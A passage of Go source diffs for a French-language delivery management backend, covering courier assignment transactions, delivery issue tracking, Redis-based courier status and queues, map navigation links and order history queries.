log.Printf("❌ Commande %d non trouvée", commandID)
return fmt.Errorf("commande non trouvée")
}
if err != nil {
log.Printf("❌ Erreur vérification commande: %v", err)
return fmt.Errorf("erreur lors de la vérification de la commande: %w", err)
}
log.Printf(" ✅ Commande trouvée: status=%s, livreur_assign=%s",
currentStatus, currentLivreur.String)
// ============================================
// ÉTAPE 3: Vérifier que la commande est assignable
// ============================================
// ✅ Vérifier si déjà assignée à un autre livreur
if currentLivreur.Valid && currentLivreur.String != "" && currentLivreur.String != livreurUsername {
log.Printf("❌ Commande déjà assignée à: %s", currentLivreur.String)
return fmt.Errorf("commande déjà assignée au livreur '%s'", currentLivreur.String)
}
// ✅ Vérifier le statut
validStatusesForAssignment := []string{"pending", "support"}
isValidStatus := false
for _, vs := range validStatusesForAssignment {
if currentStatus == vs {
isValidStatus = true
break
}
}
if !isValidStatus {
log.Printf("❌ Statut invalide pour assignation: %s", currentStatus)
return fmt.Errorf("commande en statut '%s', impossible d'assigner un livreur", currentStatus)
}
log.Printf(" ✅ Statut valide pour assignation: %s", currentStatus)
// ============================================
// ÉTAPE 4: Assigner le livreur (ATOMIQUE)
// ============================================
updateQuery := `UPDATE commandes
SET livreur_assign = $1,
status = 'support',
updated_at = CURRENT_TIMESTAMP
WHERE id = $2
AND status IN ('pending', 'support')
AND (livreur_assign IS NULL OR livreur_assign = '' OR livreur_assign = $1)`
result, err := tx.Exec(updateQuery, livreurUsername, commandID)
if err != nil {
log.Printf("❌ Erreur UPDATE: %v", err)
return fmt.Errorf("erreur lors de l'assignation du livreur: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
log.Printf("❌ Erreur RowsAffected: %v", err)
return fmt.Errorf("erreur lors de la vérification: %w", err)
}
if rowsAffected == 0 {
log.Printf("❌ Impossible d'assigner: conditions non remplies")
return fmt.Errorf("impossible d'assigner la commande (déjà assignée ou statut changé)")
}
log.Printf(" ✅ Commande assignée au livreur: %s", livreurUsername)
// ============================================
// ÉTAPE 5: Ajouter un log (DANS la transaction)
// ============================================
logQuery := `INSERT INTO command_logs (command_id, status, message, actor, created_at)
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)`
_, err = tx.Exec(logQuery, commandID, "support",
fmt.Sprintf("Livraison assignée au livreur %s", livreurUsername),
"admin")
if err != nil {
log.Printf("⚠️ Erreur ajout log: %v", err)
// Non bloquant
}
// ============================================
// ✅ COMMIT de la transaction
// ============================================
err = tx.Commit()
if err != nil {
log.Printf("❌ Erreur COMMIT: %v", err)
return fmt.Errorf("erreur commit transaction: %w", err)
}
log.Printf("🎉 [AssignDeliveryPerson] SUCCÈS - Commande %d assignée à %s", commandID, livreurUsername)
log.Printf(" Workflow: pending → ✅ support (TRANSACTION COMMITTED)")
return nil
}
// GetDeliveryPersonCommands récupère les commandes assignées à un livreur
func (d *Database) GetDeliveryPersonCommands(livreurUsername string, status string) ([]map[string]interface{}, error) {
query := `SELECT id, username, status, adresse, total_prix, livreur_assign, created_at, updated_at
FROM commandes
WHERE livreur_assign = $1`
args := []interface{}{livreurUsername}
if status != "" {
query += " AND status = $2"
args = append(args, status)
}
query += " ORDER BY created_at DESC"
rows, err := d.Query(query, args...)
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des commandes: %w", err)
}
defer rows.Close()
var commands []map[string]interface{}
for rows.Next() {
var id int
var username, status, adresse string
var livreurAssign sql.NullString
var totalPrix float64
var createdAt, updatedAt time.Time
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix, &livreurAssign, &createdAt, &updatedAt)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan: %w", err)
}
command := map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"livreur_assign": livreurAssign.String,
"created_at": createdAt,
"updated_at": updatedAt,
}
commands = append(commands, command)
}
return commands, nil
}
// ✅ NOUVELLE MÉTHODE: IncrementLivreurDeliveryCount incrémente le compteur de livraisons d'un livreur
func (d *Database) IncrementLivreurDeliveryCount(livreurUsername string) error {
query := `UPDATE users
SET livraison = livraison + 1,
total = total + 1,
updated_at = CURRENT_TIMESTAMP
WHERE username = $1 AND role = 'livreur'`
result, err := d.Exec(query, livreurUsername)
if err != nil {
return fmt.Errorf("erreur lors de l'incrémentation des livraisons: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("livreur non trouvé")
}
log.Printf("✅ Livraison incrémentée pour le livreur: %s", livreurUsername)
return nil
}
func (d *Database) ApproveDelivery(commandID int, clientUsername string) error {
log.Printf("📝 [ApproveDelivery] START - commandID=%d, client=%s", commandID, clientUsername)
// ✅ DÉMARRER UNE TRANSACTION
tx, err := d.Begin()
if err != nil {
log.Printf("❌ Erreur démarrage transaction: %v", err)
return fmt.Errorf("erreur démarrage transaction: %w", err)
}
defer tx.Rollback()
// ============================================
// ÉTAPE 1: Vérifier et VERROUILLER la commande
// ============================================
var commandUsername, currentStatus string
var livreurAssign sql.NullString
checkQuery := `SELECT username, status, livreur_assign
FROM commandes
WHERE id = $1
FOR UPDATE` // ⚠️ VERROUILLAGE CRITIQUE
err = tx.QueryRow(checkQuery, commandID).Scan(&commandUsername, &currentStatus, &livreurAssign)
if err == sql.ErrNoRows {
return fmt.Errorf("commande non trouvée")
}
if err != nil {
return fmt.Errorf("erreur lors de la vérification de la commande: %w", err)
}
// ============================================
// ÉTAPE 2: Validations métier
// ============================================
// ✅ Vérifier que c'est bien la commande du client
if commandUsername != clientUsername {
return fmt.Errorf("cette commande ne vous appartient pas")
}
// ✅ Vérifier le statut
if currentStatus != "livre" {
return fmt.Errorf("cette commande n'est pas encore livrée (statut actuel: %s)", currentStatus)
}
log.Printf(" ✅ Validations OK: client=%s, status=%s", commandUsername, currentStatus)
// ============================================
// ÉTAPE 3: Mettre à jour le statut (ATOMIQUE)
// ============================================
updateQuery := `UPDATE commandes
SET status = 'approved',
updated_at = CURRENT_TIMESTAMP
WHERE id = $1
AND status = 'livre'
AND username = $2`
result, err := tx.Exec(updateQuery, commandID, clientUsername)
if err != nil {
return fmt.Errorf("erreur lors de l'approbation de la livraison: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("impossible d'approuver: statut changé ou commande introuvable")
}
log.Printf(" ✅ Statut mis à jour: livre → approved")
// ============================================
// ÉTAPE 4: Incrémenter le compteur du livreur (ATOMIQUE)
// ============================================
if livreurAssign.Valid && livreurAssign.String != "" {
incrementQuery := `UPDATE users
SET livraison = livraison + 1,
total = total + 1,
updated_at = CURRENT_TIMESTAMP
WHERE username = $1 AND role = 'livreur'`
result, err := tx.Exec(incrementQuery, livreurAssign.String)
if err != nil {
log.Printf("⚠️ Erreur incrémentation livreur: %v", err)
// Non bloquant mais on continue dans la transaction
} else {
rows, _ := result.RowsAffected()
if rows > 0 {
log.Printf(" ✅ Compteur livreur incrémenté: %s", livreurAssign.String)
}
}
}
// ============================================
// ÉTAPE 5: Ajouter un log (DANS la transaction)
// ============================================
logQuery := `INSERT INTO command_logs (command_id, status, message, actor, created_at)
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)`
_, err = tx.Exec(logQuery, commandID, "approved",
fmt.Sprintf("Livraison approuvée par le client %s", clientUsername),
clientUsername)
if err != nil {
log.Printf("⚠️ Erreur ajout log: %v", err)
// Non bloquant
}
// ============================================
// ✅ COMMIT de la transaction
// ============================================
err = tx.Commit()
if err != nil {
log.Printf("❌ Erreur COMMIT: %v", err)
return fmt.Errorf("erreur commit transaction: %w", err)
}
log.Printf("🎉 [ApproveDelivery] SUCCÈS - Commande %d approuvée par %s", commandID, clientUsername)
log.Printf(" Workflow: livre → ✅ approved (TRANSACTION COMMITTED)")
return nil
}
+103
View File
@@ -0,0 +1,103 @@
package db
import (
"fmt"
"gestion/models"
"log"
)
func (d *Database) GetDeliveryIssues(status string) ([]models.DeliveryIssue, error) {
query := `
SELECT id, command_id, issue_type, description, status,
reported_by, COALESCE(resolved_by, ''), COALESCE(resolution, ''),
created_at, updated_at
FROM delivery_issues
`
var args []interface{}
if status != "" {
query += " WHERE status = $1"
args = append(args, status)
}
query += " ORDER BY created_at DESC"
rows, err := d.Query(query, args...)
if err != nil {
return nil, fmt.Errorf("erreur récupération problèmes: %w", err)
}
defer rows.Close()
var issues []models.DeliveryIssue
for rows.Next() {
var issue models.DeliveryIssue
err := rows.Scan(
&issue.ID,
&issue.CommandID,
&issue.IssueType,
&issue.Description,
&issue.Status,
&issue.ReportedBy,
&issue.ResolvedBy,
&issue.Resolution,
&issue.CreatedAt,
&issue.UpdatedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur scan problème: %w", err)
}
issues = append(issues, issue)
}
return issues, nil
}
// CreateDeliveryIssue crée un nouveau problème
func (d *Database) CreateDeliveryIssue(commandID int, issueType, description, reportedBy string) (*models.DeliveryIssue, error) {
query := `
INSERT INTO delivery_issues (command_id, issue_type, description, status, reported_by, created_at, updated_at)
VALUES ($1, $2, $3, 'open', $4, NOW(), NOW())
RETURNING id, command_id, issue_type, description, status, reported_by, created_at, updated_at
`
var issue models.DeliveryIssue
err := d.QueryRow(query, commandID, issueType, description, reportedBy).Scan(
&issue.ID,
&issue.CommandID,
&issue.IssueType,
&issue.Description,
&issue.Status,
&issue.ReportedBy,
&issue.CreatedAt,
&issue.UpdatedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur création problème: %w", err)
}
log.Printf("✅ Problème créé: ID=%d, Type=%s, Commande=%d", issue.ID, issueType, commandID)
return &issue, nil
}
// UpdateDeliveryIssue met à jour un problème
func (d *Database) UpdateDeliveryIssue(issueID int, status, resolution, resolvedBy string) error {
query := `
UPDATE delivery_issues
SET status = $1, resolution = $2, resolved_by = $3, updated_at = NOW()
WHERE id = $4
`
result, err := d.Exec(query, status, resolution, resolvedBy, issueID)
if err != nil {
return fmt.Errorf("erreur mise à jour problème: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("problème non trouvé")
}
log.Printf("✅ Problème %d mis à jour: status=%s", issueID, status)
return nil
}
+442
View File
@@ -0,0 +1,442 @@
// ============================================
// db/delivery_management_db.go
// FONCTIONS DB POUR LA GESTION COMPLÈTE DES LIVREURS
// ============================================
package db
import (
"database/sql"
"fmt"
"log"
"strings"
"time"
)
var allowedStatuses = map[string]bool{
"available": true,
"offline": true,
"busy": true,
}
// ============================================
// 📊 STATISTIQUES LIVREUR
// ============================================
// CountDeliveriesByStatus compte les livraisons d'un livreur par statut
func (d *Database) CountDeliveriesByStatus(livreurUsername string, statuses string) (int, error) {
if statuses == "" {
// Cas simple: toutes les livraisons
query := `SELECT COUNT(*)
FROM commandes
WHERE livreur_assign = $1`
var count int
err := d.QueryRow(query, livreurUsername).Scan(&count)
if err != nil {
log.Printf("❌ [CountDeliveries] Erreur: %v", err)
return 0, fmt.Errorf("erreur comptage livraisons: %w", err)
}
return count, nil
}
// ✅ Valider les statuts
cleanStatuses, err := ValidateStatuses(statuses)
if err != nil {
log.Printf("❌ [CountDeliveries] Validation échouée: %v", err)
return 0, err
}
// ✅ Construire la requête avec IN et placeholders
placeholders := make([]string, len(cleanStatuses))
args := []interface{}{livreurUsername}
for i, status := range cleanStatuses {
placeholders[i] = fmt.Sprintf("$%d", i+2)
args = append(args, status)
}
query := fmt.Sprintf(`SELECT COUNT(*)
FROM commandes
WHERE livreur_assign = $1
AND status IN (%s)`, strings.Join(placeholders, ","))
var count int
err = d.QueryRow(query, args...).Scan(&count)
if err != nil {
log.Printf("❌ [CountDeliveries] Erreur: %v", err)
return 0, fmt.Errorf("erreur comptage livraisons: %w", err)
}
log.Printf("✅ [CountDeliveries] %d livraisons pour %s avec statuts %v",
count, livreurUsername, cleanStatuses)
return count, nil
}
func ValidateStatuses(statuses string) ([]string, error) {
if statuses == "" {
return nil, nil
}
statusList := strings.Split(statuses, ",")
// Liste blanche complète
validStatusMap := map[string]bool{
"pending": true,
"support": true,
"assigned": true,
"en_route": true,
"arrived": true,
"livre": true,
"approved": true,
"failed": true,
"cancelled": true,
}
var cleanStatuses []string
var invalidStatuses []string
for _, status := range statusList {
status = strings.TrimSpace(status)
// Ignorer les chaînes vides
if status == "" {
continue
}
if validStatusMap[status] {
cleanStatuses = append(cleanStatuses, status)
} else {
invalidStatuses = append(invalidStatuses, status)
}
}
// Logger les statuts invalides
if len(invalidStatuses) > 0 {
log.Printf("⚠️ [ValidateStatuses] Statuts invalides ignorés: %v", invalidStatuses)
}
if len(cleanStatuses) == 0 {
return nil, fmt.Errorf("aucun statut valide trouvé dans: %s", statuses)
}
return cleanStatuses, nil
}
// GetLastDeliveryDate récupère la date de la dernière livraison d'un livreur
func (d *Database) GetLastDeliveryDate(livreurUsername string) (*time.Time, error) {
query := `SELECT MAX(updated_at)
FROM commandes
WHERE livreur_assign = $1
AND status = 'approved'`
var lastDate sql.NullTime
err := d.QueryRow(query, livreurUsername).Scan(&lastDate)
if err != nil {
return nil, fmt.Errorf("erreur récupération dernière livraison: %w", err)
}
if !lastDate.Valid {
return nil, nil // Aucune livraison
}
t := lastDate.Time
return &t, nil
}
// GetCurrentCommand récupère l'ID de la commande en cours d'un livreur
func (d *Database) GetCurrentCommand(livreurUsername string) (int, error) {
// Récupérer depuis Redis
currentKey := fmt.Sprintf("delivery:current:%s", livreurUsername)
currentIDStr, err := Redis.Get(RedisCtx, currentKey).Result()
if err != nil {
return 0, nil // Pas de commande en cours
}
var currentID int
_, err = fmt.Sscanf(currentIDStr, "%d", &currentID)
if err != nil {
return 0, nil
}
return currentID, nil
}
// ============================================
// 📜 HISTORIQUE DES LIVRAISONS
// ============================================
// GetDeliveryPersonHistory récupère l'historique paginé des livraisons d'un livreur
func (d *Database) GetDeliveryPersonHistory(livreurUsername string, limit, offset int) ([]map[string]interface{}, error) {
query := `
SELECT
c.id as command_id,
c.username as client,
c.status,
c.adresse,
c.total_prix,
c.created_at as assigned_at,
c.updated_at as completed_at
FROM commandes c
WHERE c.livreur_assign = $1
ORDER BY c.created_at DESC
LIMIT $2 OFFSET $3
`
rows, err := d.Query(query, livreurUsername, limit, offset)
if err != nil {
return nil, fmt.Errorf("erreur récupération historique: %w", err)
}
defer rows.Close()
var history []map[string]interface{}
for rows.Next() {
var commandID int
var client, status, adresse string
var totalPrix float64
var assignedAt, completedAt time.Time
err := rows.Scan(
&commandID,
&client,
&status,
&adresse,
&totalPrix,
&assignedAt,
&completedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur scan historique: %w", err)
}
// Calculer la durée de livraison si complétée
var deliveryTime float64
if status == "approved" || status == "livre" {
deliveryTime = completedAt.Sub(assignedAt).Minutes()
}
entry := map[string]interface{}{
"command_id": commandID,
"client": client,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"assigned_at": assignedAt.Format("2006-01-02 15:04:05"),
"completed_at": completedAt.Format("2006-01-02 15:04:05"),
"delivery_time": deliveryTime,
}
history = append(history, entry)
}
return history, nil
}
// ============================================
// 📍 GESTION POSITION GPS
// ============================================
// ⚠️ REMARQUE: Les fonctions UpdateDeliveryPersonLocation et GetDeliveryPersonLocation
// sont déjà définies dans db/delivery_db.go
// Nous réutilisons ces fonctions existantes au lieu de les redéfinir ici
// ============================================
// 🔄 GESTION STATUT LIVREUR
// ============================================
// GetDeliveryPersonStatus récupère le statut d'un livreur
func (d *Database) GetDeliveryPersonStatus(livreurUsername string) (string, error) {
statusKey := fmt.Sprintf("delivery:status:%s", livreurUsername)
status, err := Redis.Get(RedisCtx, statusKey).Result()
if err != nil {
// Statut par défaut si non trouvé
return "offline", nil
}
return status, nil
}
// UpdateDeliveryPersonStatus met à jour le statut d'un livreur
func (d *Database) UpdateDeliveryPersonStatus(livreurUsername string, status string) error {
// 🔹 Valider le statut
if !allowedStatuses[status] {
return fmt.Errorf("statut invalide: %s", status)
}
log.Printf("🔄 [UpdateStatus] Mise à jour: %s → %s", livreurUsername, status)
statusKey := fmt.Sprintf("delivery:status:%s", livreurUsername)
err := Redis.Set(RedisCtx, statusKey, status, 0).Err()
if err != nil {
log.Printf("❌ [UpdateStatus] Erreur Redis: %v", err)
return fmt.Errorf("erreur mise à jour statut: %w", err)
}
log.Printf("✅ [UpdateStatus] Statut mis à jour pour %s: %s", livreurUsername, status)
return nil
}
// ============================================
// 📦 GESTION QUEUE LIVREUR
// ============================================
// GetDeliverymanQueueSize récupère la taille de la queue d'un livreur
func (d *Database) GetDeliverymanQueueSize(livreurUsername string) (int, error) {
queueKey := fmt.Sprintf("delivery:queue:%s", livreurUsername)
size, err := Redis.LLen(RedisCtx, queueKey).Result()
if err != nil {
return 0, fmt.Errorf("erreur récupération taille queue: %w", err)
}
return int(size), nil
}
// GetDeliverymanQueue récupère la queue complète d'un livreur
func (d *Database) GetDeliverymanQueue(livreurUsername string) ([]int, error) {
queueKey := fmt.Sprintf("delivery:queue:%s", livreurUsername)
commands, err := Redis.LRange(RedisCtx, queueKey, 0, -1).Result()
if err != nil {
return nil, fmt.Errorf("erreur récupération queue: %w", err)
}
var queue []int
for _, cmdStr := range commands {
var cmdID int
fmt.Sscanf(cmdStr, "%d", &cmdID)
queue = append(queue, cmdID)
}
return queue, nil
}
// ============================================
// 🔧 FONCTIONS UTILITAIRES
// ============================================
// UpdateCommandLivreur met à jour le livreur assigné à une commande
func (d *Database) UpdateCommandLivreur(commandID int, livreurUsername string) error {
query := `UPDATE commandes
SET livreur_assign = $1, updated_at = CURRENT_TIMESTAMP
WHERE id = $2`
result, err := d.Exec(query, livreurUsername, commandID)
if err != nil {
return fmt.Errorf("erreur mise à jour livreur: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("commande non trouvée")
}
return nil
}
// ============================================
// 📊 STATISTIQUES SYSTÈME
// ============================================
// GetAllDeliveryPersonsStats récupère les stats de tous les livreurs
func (d *Database) GetAllDeliveryPersonsStats() ([]map[string]interface{}, error) {
// Récupérer tous les livreurs
livreurs, err := d.GetAvailableDeliveryPersons()
if err != nil {
return nil, fmt.Errorf("erreur récupération livreurs: %w", err)
}
var stats []map[string]interface{}
for _, livreur := range livreurs {
username := livreur["username"].(string)
// Compter les livraisons
totalDeliveries, _ := d.CountDeliveriesByStatus(username, "")
completedDeliveries, _ := d.CountDeliveriesByStatus(username, "approved")
queueSize, _ := d.GetDeliverymanQueueSize(username)
status, _ := d.GetDeliveryPersonStatus(username)
statEntry := map[string]interface{}{
"username": username,
"total_deliveries": totalDeliveries,
"completed_deliveries": completedDeliveries,
"queue_size": queueSize,
"status": status,
}
stats = append(stats, statEntry)
}
return stats, nil
}
// ============================================
// 🔍 RECHERCHE & FILTRAGE
// ============================================
// GetDeliveryPersonsByStatus récupère les livreurs par statut
func (d *Database) GetDeliveryPersonsByStatus(status string) ([]string, error) {
// Récupérer tous les livreurs
livreurs, err := d.GetAvailableDeliveryPersons()
if err != nil {
return nil, fmt.Errorf("erreur récupération livreurs: %w", err)
}
var filteredLivreurs []string
for _, livreur := range livreurs {
username := livreur["username"].(string)
currentStatus, _ := d.GetDeliveryPersonStatus(username)
if currentStatus == status {
filteredLivreurs = append(filteredLivreurs, username)
}
}
return filteredLivreurs, nil
}
// GetAvailableDeliveryPersonsCount compte les livreurs disponibles
func (d *Database) GetAvailableDeliveryPersonsCount() (int, error) {
availableLivreurs, err := d.GetDeliveryPersonsByStatus("available")
if err != nil {
return 0, err
}
return len(availableLivreurs), nil
}
// ============================================
// 🗑️ SUPPRESSION & NETTOYAGE
// ============================================
// ClearDeliveryPersonData supprime toutes les données d'un livreur (admin uniquement)
func (d *Database) ClearDeliveryPersonData(livreurUsername string) error {
log.Printf("🗑️ [ClearDeliveryData] Nettoyage données pour: %s", livreurUsername)
// Supprimer de Redis
keys := []string{
fmt.Sprintf("delivery:status:%s", livreurUsername),
fmt.Sprintf("delivery:location:%s", livreurUsername),
fmt.Sprintf("delivery:queue:%s", livreurUsername),
fmt.Sprintf("delivery:queue:size:%s", livreurUsername),
fmt.Sprintf("delivery:current:%s", livreurUsername),
}
for _, key := range keys {
err := Redis.Del(RedisCtx, key).Err()
if err != nil {
log.Printf("⚠️ [ClearDeliveryData] Erreur suppression clé %s: %v", key, err)
}
}
log.Printf("✅ [ClearDeliveryData] Données nettoyées pour %s", livreurUsername)
return nil
}
+147
View File
@@ -0,0 +1,147 @@
// ============================================
// db/gps_links.go
// Génération de liens GPS vers différentes plateformes
// ============================================
package db
import (
"fmt"
"net/url"
)
// MapLinks contient les liens vers différentes plateformes de cartographie
type MapLinks struct {
GoogleMaps string `json:"google_maps"`
GoogleMapsApp string `json:"google_maps_app"`
Waze string `json:"waze"`
WazeApp string `json:"waze_app"`
AppleMaps string `json:"apple_maps"`
OpenStreetMap string `json:"openstreetmap"`
BingMaps string `json:"bing_maps"`
HereMaps string `json:"here_maps"`
}
// GenerateMapLinks génère tous les liens de cartes pour une position GPS
func (d *Database) GenerateMapLinks(lat, lon float64, label string) MapLinks {
// Encoder le label pour l'URL
encodedLabel := url.QueryEscape(label)
return MapLinks{
// Google Maps (Web)
GoogleMaps: fmt.Sprintf(
"https://www.google.com/maps?q=%.6f,%.6f&label=%s",
lat, lon, encodedLabel,
),
// Google Maps (App - Deep link)
GoogleMapsApp: fmt.Sprintf(
"https://maps.google.com/?q=%.6f,%.6f",
lat, lon,
),
// Waze (Web)
Waze: fmt.Sprintf(
"https://www.waze.com/ul?ll=%.6f,%.6f&navigate=yes",
lat, lon,
),
// Waze (App - Deep link)
WazeApp: fmt.Sprintf(
"waze://?ll=%.6f,%.6f&navigate=yes",
lat, lon,
),
// Apple Maps (iOS/macOS)
AppleMaps: fmt.Sprintf(
"http://maps.apple.com/?ll=%.6f,%.6f&q=%s",
lat, lon, encodedLabel,
),
// OpenStreetMap
OpenStreetMap: fmt.Sprintf(
"https://www.openstreetmap.org/?mlat=%.6f&mlon=%.6f#map=16/%.6f/%.6f",
lat, lon, lat, lon,
),
// Bing Maps
BingMaps: fmt.Sprintf(
"https://www.bing.com/maps?cp=%.6f~%.6f&lvl=16",
lat, lon,
),
// HERE Maps
HereMaps: fmt.Sprintf(
"https://wego.here.com/?map=%.6f,%.6f,16,normal",
lat, lon,
),
}
}
// GenerateNavigationLink génère un lien de navigation depuis une origine vers une destination
func (d *Database) GenerateNavigationLink(fromLat, fromLon, toLat, toLon float64, platform string) string {
switch platform {
case "google":
return fmt.Sprintf(
"https://www.google.com/maps/dir/?api=1&origin=%.6f,%.6f&destination=%.6f,%.6f&travelmode=driving",
fromLat, fromLon, toLat, toLon,
)
case "waze":
return fmt.Sprintf(
"https://www.waze.com/ul?ll=%.6f,%.6f&navigate=yes&from=%.6f,%.6f",
toLat, toLon, fromLat, fromLon,
)
case "apple":
return fmt.Sprintf(
"http://maps.apple.com/?saddr=%.6f,%.6f&daddr=%.6f,%.6f",
fromLat, fromLon, toLat, toLon,
)
default:
return fmt.Sprintf(
"https://www.google.com/maps/dir/?api=1&origin=%.6f,%.6f&destination=%.6f,%.6f",
fromLat, fromLon, toLat, toLon,
)
}
}
// GenerateMapLinksForCommand génère les liens de navigation pour une commande
// (depuis la position du livreur vers la destination de la commande)
func (d *Database) GenerateMapLinksForCommand(commandID int, deliverymanUsername string) (map[string]string, error) {
// 1. Récupérer la position du livreur
livreurLat, livreurLon, err := d.GetDeliveryPersonLocation(deliverymanUsername)
if err != nil {
return nil, fmt.Errorf("position livreur non disponible: %w", err)
}
// 2. Récupérer la destination de la commande
command, err := d.GetCommandByID(commandID)
if err != nil {
return nil, fmt.Errorf("commande non trouvée: %w", err)
}
var destLat, destLon float64
if command["dest_latitude"] != nil {
if latVal, ok := command["dest_latitude"].(float64); ok {
destLat = latVal
}
}
if command["dest_longitude"] != nil {
if lonVal, ok := command["dest_longitude"].(float64); ok {
destLon = lonVal
}
}
if destLat == 0 && destLon == 0 {
return nil, fmt.Errorf("coordonnées destination invalides")
}
// 3. Générer les liens de navigation
return map[string]string{
"google_maps": d.GenerateNavigationLink(livreurLat, livreurLon, destLat, destLon, "google"),
"waze": d.GenerateNavigationLink(livreurLat, livreurLon, destLat, destLon, "waze"),
"apple_maps": d.GenerateNavigationLink(livreurLat, livreurLon, destLat, destLon, "apple"),
}, nil
}
+349
View File
@@ -0,0 +1,349 @@
// ============================================
// db/commands_history.go
// ============================================
// Fonctions pour l'historique des commandes terminées
package db
import (
"database/sql"
"fmt"
"log"
"time"
)
// GetCompletedCommandsByUsername récupère toutes les commandes terminées (approved) d'un utilisateur
// ✅ Retourne uniquement les commandes avec status = "approved"
// ✅ Ordonnées par date de création décroissante (plus récentes en premier)
func (d *Database) GetCompletedCommandsByUsername(username string) ([]map[string]interface{}, error) {
log.Printf("📚 [GetCompletedCommands] START - username=%s", username)
query := `
SELECT
id,
username,
status,
adresse,
total_prix,
livreur_assign,
created_at,
updated_at
FROM commandes
WHERE username = $1 AND status = 'approved'
ORDER BY created_at DESC
`
rows, err := d.Query(query, username)
if err != nil {
log.Printf("❌ [GetCompletedCommands] Erreur query: %v", err)
return nil, fmt.Errorf("erreur lors de la récupération des commandes terminées: %w", err)
}
defer rows.Close()
var commands []map[string]interface{}
for rows.Next() {
var id int
var username, status, adresse string
var livreurAssign sql.NullString
var totalPrix float64
var createdAt, updatedAt time.Time
err := rows.Scan(
&id,
&username,
&status,
&adresse,
&totalPrix,
&livreurAssign,
&createdAt,
&updatedAt,
)
if err != nil {
log.Printf("❌ [GetCompletedCommands] Erreur scan: %v", err)
return nil, fmt.Errorf("erreur lors du scan de la commande: %w", err)
}
command := map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"created_at": createdAt,
"updated_at": updatedAt,
}
// Ajouter livreur_assign seulement s'il n'est pas NULL
if livreurAssign.Valid {
command["livreur_assign"] = livreurAssign.String
} else {
command["livreur_assign"] = nil
}
commands = append(commands, command)
}
if err = rows.Err(); err != nil {
log.Printf("❌ [GetCompletedCommands] Erreur itération: %v", err)
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
}
log.Printf("✅ [GetCompletedCommands] %d commandes terminées trouvées pour %s", len(commands), username)
return commands, nil
}
// GetCompletedCommandsWithItems récupère les commandes terminées avec leurs items
// ✅ Retourne les commandes approved avec tous les détails
func (d *Database) GetCompletedCommandsWithItems(username string) ([]map[string]interface{}, error) {
log.Printf("📚 [GetCompletedWithItems] START - username=%s", username)
// 1. Récupérer les commandes terminées
commands, err := d.GetCompletedCommandsByUsername(username)
if err != nil {
return nil, err
}
// 2. Pour chaque commande, récupérer les items
var enrichedCommands []map[string]interface{}
for _, command := range commands {
commandID, ok := command["id"].(int)
if !ok {
continue
}
// Récupérer les items
items, err := d.GetCommandItems(commandID)
if err != nil {
log.Printf("⚠️ [GetCompletedWithItems] Erreur items pour cmd %d: %v", commandID, err)
items = []map[string]interface{}{}
}
// Enrichir la commande
enrichedCommand := make(map[string]interface{})
for k, v := range command {
enrichedCommand[k] = v
}
enrichedCommand["items"] = items
enrichedCommand["items_count"] = len(items)
enrichedCommands = append(enrichedCommands, enrichedCommand)
}
log.Printf("✅ [GetCompletedWithItems] %d commandes enrichies", len(enrichedCommands))
return enrichedCommands, nil
}
// GetCommandsStatsByUsername récupère les statistiques des commandes d'un utilisateur
// ✅ Compte total, approved, pending, cancelled, etc.
func (d *Database) GetCommandsStatsByUsername(username string) (map[string]interface{}, error) {
log.Printf("📊 [GetCommandsStats] START - username=%s", username)
query := `
SELECT
COUNT(*) FILTER (WHERE status = 'approved') as approved_count,
COUNT(*) FILTER (WHERE status = 'pending') as pending_count,
COUNT(*) FILTER (WHERE status = 'assigned') as assigned_count,
COUNT(*) FILTER (WHERE status = 'en_route') as en_route_count,
COUNT(*) FILTER (WHERE status = 'livre') as livre_count,
COUNT(*) FILTER (WHERE status = 'cancelled') as cancelled_count,
COUNT(*) as total_count,
COALESCE(SUM(total_prix) FILTER (WHERE status = 'approved'), 0) as total_spent
FROM commandes
WHERE username = $1
`
var approvedCount, pendingCount, assignedCount, enRouteCount, livreCount, cancelledCount, totalCount int
var totalSpent float64
err := d.QueryRow(query, username).Scan(
&approvedCount,
&pendingCount,
&assignedCount,
&enRouteCount,
&livreCount,
&cancelledCount,
&totalCount,
&totalSpent,
)
if err != nil {
log.Printf("❌ [GetCommandsStats] Erreur: %v", err)
return nil, fmt.Errorf("erreur lors de la récupération des statistiques: %w", err)
}
stats := map[string]interface{}{
"approved_count": approvedCount,
"pending_count": pendingCount,
"assigned_count": assignedCount,
"en_route_count": enRouteCount,
"livre_count": livreCount,
"cancelled_count": cancelledCount,
"total_count": totalCount,
"total_spent": totalSpent,
}
log.Printf("✅ [GetCommandsStats] Stats calculées: total=%d, approved=%d, spent=%.2f€",
totalCount, approvedCount, totalSpent)
return stats, nil
}
// GetCommandsByStatus récupère les commandes d'un utilisateur par statut
// ✅ Permet de filtrer par un statut spécifique
func (d *Database) GetCommandsByStatus(username, status string) ([]map[string]interface{}, error) {
log.Printf("📋 [GetCommandsByStatus] START - username=%s, status=%s", username, status)
query := `
SELECT
id,
username,
status,
adresse,
total_prix,
livreur_assign,
created_at,
updated_at
FROM commandes
WHERE username = $1 AND status = $2
ORDER BY created_at DESC
`
rows, err := d.Query(query, username, status)
if err != nil {
log.Printf("❌ [GetCommandsByStatus] Erreur query: %v", err)
return nil, fmt.Errorf("erreur lors de la récupération des commandes: %w", err)
}
defer rows.Close()
var commands []map[string]interface{}
